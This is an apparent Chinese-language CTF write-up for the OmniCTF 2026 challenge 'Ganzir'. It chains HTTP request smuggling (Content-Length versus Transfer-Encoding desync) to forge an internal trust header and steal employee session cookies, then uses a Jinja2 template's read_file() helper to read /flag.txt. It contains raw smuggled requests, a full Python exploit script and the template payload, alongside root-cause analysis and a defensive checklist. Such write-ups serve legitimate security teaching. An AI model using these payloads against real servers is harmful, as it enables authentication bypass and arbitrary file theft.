Ganzir — OmniCTF 2026:從 HTTP Parser 不一致到 Jinja2 任意檔案讀取
這題把兩個經典漏洞串在一起:先用 HTTP Request Smuggling(Parser Desynchronization)偽造內部信任 Header 拿到 Employee Session,再透過暴露危險 Helper 的 Jinja2 Template 直接讀出 Flag,以下完整拆解思路與 Exploit。
題目提示
進入 /employee 後,頁面直接給了幾個重要提示:
accepted job endpoint: POST /employee
accepted body formats: raw_request form field or text/plain raw HTTP
edge parser: honors Transfer-Encoding: chunked
bridge parser: trusts Content-Length before forwarding remaining bytes
internal request: GET /employee/session HTTP/1.1
required internal header: X-Employee-Gate: internal
簡單來說,這題有兩個 HTTP Parser:
| Parser | 採用的 Header | 用途 |
|---|---|---|
| Edge Parser | Transfer-Encoding |
解析 Chunked Body |
| Bridge Parser | Content-Length |
判斷 Body 長度並轉送剩餘資料 |
兩邊對「一個 HTTP Request 到底在哪裡結束」的看法不同,這就是漏洞的核心。
Content-Length 與 Transfer-Encoding
Content-Length
Content-Length 直接告訴伺服器 Body 有幾個 bytes:
POST /employee HTTP/1.1
Content-Length: 5
hello
伺服器看到 Content-Length: 5,就會讀取後面的 5 bytes。
Transfer-Encoding: chunked
Chunked Encoding 會把 Body 分成數個區塊:
POST /employee HTTP/1.1
Transfer-Encoding: chunked
5
hello
0
5 代表下一段有 5 bytes,最後的 0 代表 Body 結束。
漏洞在哪裡?
正常伺服器不應該讓兩套互相衝突的長度規則一路傳到不同 Parser。
但這題的處理流程是:
同一份 Raw HTTP Request
↓
Edge 使用 Transfer-Encoding 解析
↓
Bridge 使用 Content-Length 判斷長度
↓
剩餘資料被當成下一個內部 Request
因此,我們可以在正常 Request 後面藏入第二個 Request,讓 Bridge 幫忙送到內部端點。
這類問題稱為 HTTP Request Smuggling,也可以更精確地說是 HTTP Parser Desynchronization。
要注意,這題的外層 POST /employee 本身是一個 Raw Request 投遞端。衝突的 Header 是放在 text/plain Body 裡,再由題目的 Legacy Bridge 解析,不是直接加在 Python requests.post() 的最外層。
為什麼第一個 Payload 失敗?
一開始使用的 Body 大致如下:
69
GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal
0
69 是十六進位,等於十進位的 105,長度計算本身沒有錯。
問題是 GET /employee/session 被放進了這個非零 Chunk 裡面:
69 ← 接下來 105 bytes 都是 Body
GET /employee… ← 被 Edge 當成普通 Body 吃掉
0 ← Chunked Body 結束
所以它永遠不會成為第二個 HTTP Request,
錯的不是長度,而是 GET 放置的位置!
正確的 Smuggled Request
我們要先使用 0 結束 Chunked Body,再把內部 GET 接在後面:
POST /employee HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
Content-Length: 0
Transfer-Encoding: chunked
0
GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal
解析結果變成:
Edge 看到 0 Chunk → 第一個 Request 結束
↓
Bridge 相信 CL = 0 → Body 長度為 0
↓
剩餘資料從 GET /employee/session 開始
↓
GET 被當成內部 Request 轉送
內部端點看到 X-Employee-Gate: internal,便建立 Cassie 的 Employee Session。
成功後為什麼還是看到 403?
成功的 /employee/session 會回傳:
HTTP/1.1 302 Found
Location: /employee
Set-Cookie: site19_employee_gate=...
Set-Cookie: site19_jwt=...
Set-Cookie: site19_session=...
但 requests 預設會自動跟隨 Redirect。
真正的成功回應:302 + Set-Cookie
↓ requests 自動跳轉
最後看到的回應:/employee 的 403
因此要加上:
allow_redirects=False
同時使用 requests.Session() 保存 Cookie。
完整 Exploit
import re
import requests
HOST = "ganzir-bcb389d7988b.inst.omnictf.com"
BASE = f"https://{HOST}"
smuggled = (
"GET /employee/session HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
"X-Employee-Gate: internal\r\n"
"\r\n"
).encode("ascii")
blob = (
b"POST /employee HTTP/1.1\r\n"
+ f"Host: {HOST}\r\n".encode("ascii")
+ b"Content-Length: 0\r\n"
+ b"Transfer-Encoding: chunked\r\n"
+ b"\r\n"
+ b"0\r\n\r\n"
+ smuggled
)
session = requests.Session()
response = session.post(
f"{BASE}/employee",
data=blob,
headers={"Content-Type": "text/plain"},
allow_redirects=False,
timeout=20,
)
print("Status:", response.status_code)
print("Location:", response.headers.get("Location"))
print("Cookies:", session.cookies.get_dict())
成功後會取得三個 Cookie:
site19_employee_gate
site19_jwt
site19_session
第二個漏洞:Jinja2 任意檔案讀取
取得 Employee Session 後,可以進入 /briefing-template。
頁面再次直接給出提示:
engine: Jinja2
variables: wave, vector
helper: read_file(path)
flag copy: /flag.txt
使用者輸入會被當成 Jinja2 Template 執行,而且 Template 中可以呼叫 read_file()。
因此可以直接讀取 /flag.txt:
{{ read_file('/flag.txt') }}
將下面程式接在前面的 Exploit 後面:
response = session.post(
f"{BASE}/briefing-template",
data={"template": "{{ read_file('/flag.txt') }}"},
timeout=20,
)
flag = re.search(r"CTF\{[^}]+\}", response.text)
print(flag.group(0) if flag else response.text)
這裡的問題不只是「使用 Jinja2」,而是伺服器把使用者輸入直接當成 Template,還暴露了能任意讀取路徑的 read_file() Helper。
完整攻擊流程
CL / TE Parser 不一致
↓
Smuggle 內部 GET /employee/session
↓
偽造 X-Employee-Gate: internal
↓
取得 Employee Session Cookie
↓
進入 /briefing-template
↓
執行 {{ read_file('/flag.txt') }}
↓
取得 Flag
漏洞根本原因
1. 接受衝突的 Framing Header
Content-Length + Transfer-Encoding 同時存在
→ 不同 Parser 使用不同規則
2. 直接轉送未解析完的 Raw Bytes
第一個 Request 後面的資料
→ 被當成新的內部 Request
3. 使用 Header 判斷內部信任
X-Employee-Gate: internal
只要成功走到內部端點,就能偽造這個 Header。
4. Template Helper 權限過大
{{ read_file('/任何路徑') }}
沒有路徑白名單,也沒有將 Template 與檔案系統隔離。
實戰檢查清單
遇到 HTTP Parser 題目時,可以檢查:
- 是否同時接受
Content-Length與Transfer-Encoding? - 前後端使用的 HTTP Parser 是否不同?
0\r\n\r\n後面的資料會被如何處理?- Client 是否自動跟隨 Redirect,藏掉真正的回應?
- Cookie 是否使用同一個 Session 保存?
- 內部權限是否只依靠可偽造的 Header?
- Template Engine 是否暴露危險 Helper?
Member discussion